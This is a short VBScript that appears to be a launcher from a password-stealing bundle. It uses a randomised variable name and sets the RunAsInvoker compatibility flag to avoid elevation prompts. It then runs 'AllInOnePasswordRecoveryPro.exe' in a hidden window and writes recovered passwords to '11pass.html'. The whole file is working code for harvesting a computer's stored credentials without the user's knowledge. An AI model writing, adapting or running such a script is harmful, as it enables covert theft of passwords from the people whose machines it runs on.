Set cdsscef44f3f = CreateObject ("Wscript.Shell") 
Dim strArgs
strArgs = "cmd /c set __COMPAT_LAYER=RunAsInvoker && AllInOnePasswordRecoveryPro.exe -f 11pass.html"
cdsscef44f3f.Run strArgs, 0, false